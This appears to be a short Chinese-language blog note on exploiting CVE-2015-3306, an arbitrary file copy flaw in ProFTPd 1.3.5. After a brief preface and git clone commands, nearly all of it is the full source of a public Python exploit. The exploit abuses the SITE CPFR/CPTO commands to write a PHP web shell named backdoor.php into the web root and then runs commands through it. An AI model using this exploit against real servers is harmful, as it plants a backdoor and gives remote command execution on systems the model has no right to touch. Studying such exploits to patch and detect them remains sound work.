【笔记】CVE-2015-3306漏洞利用

发表于 2024-06-15 更新于 2025-12-10 阅读次数：

前言

利用t0kx/exploit-CVE-2015-3306实现ProFTPd任意文件写入漏洞利用

漏洞利用前提

ProFTPd 1.3.5

下载项目

1 2	git clone https://github.com/t0kx/exploit-CVE-2015-3306.git cd exploit-CVE-2015-3306

源代码

exploit.py

import re
import socket
import requests
import argparse

class Exploit:
    def __init__(self, host, port, path):
        self.__sock = None
        self.__host = host
        self.__port = port
        self.__path = path

    def __connect(self):
        self.__sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.__sock.connect((self.__host, self.__port))
        self.__sock.recv(1024)

    def __exploit(self):
        payload = "<?php echo passthru($_GET['cmd']); ?>"
        self.__sock.send(b"site cpfr /proc/self/cmdline\n")
        self.__sock.recv(1024)
        self.__sock.send(("site cpto /tmp/." + payload + "\n").encode("utf-8"))
        self.__sock.recv(1024)
        self.__sock.send(("site cpfr /tmp/." + payload + "\n").encode("utf-8"))
        self.__sock.recv(1024)
        self.__sock.send(("site cpto "+ self.__path +"/backdoor.php\n").encode("utf-8"))

        if "Copy successful" in str(self.__sock.recv(1024)):
            print("[+] Target exploited, acessing shell at http://" + self.__host + "/backdoor.php")
            print("[+] Running whoami: " + self.__trigger())
            print("[+] Done")
        else:
            print("[!] Failed")

    def __trigger(self):
        data = requests.get("http://" + self.__host + "/backdoor.php?cmd=whoami")
        match = re.search('cpto /tmp/.([^"]+)', data.text)
        return match.group(0)[11::].replace("\n", "")

    def run(self):
        self.__connect()
        self.__exploit()

def main(args):
    print("[+] CVE-2015-3306 exploit by t0kx")
    print("[+] Exploiting " + args.host + ":" + args.port)

    exploit = Exploit(args.host, int(args.port), args.path)
    exploit.run()

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('--host', required=True)
    parser.add_argument('--port', required=True)
    parser.add_argument('--path', required=True)
    args = parser.parse_args()

    main(args)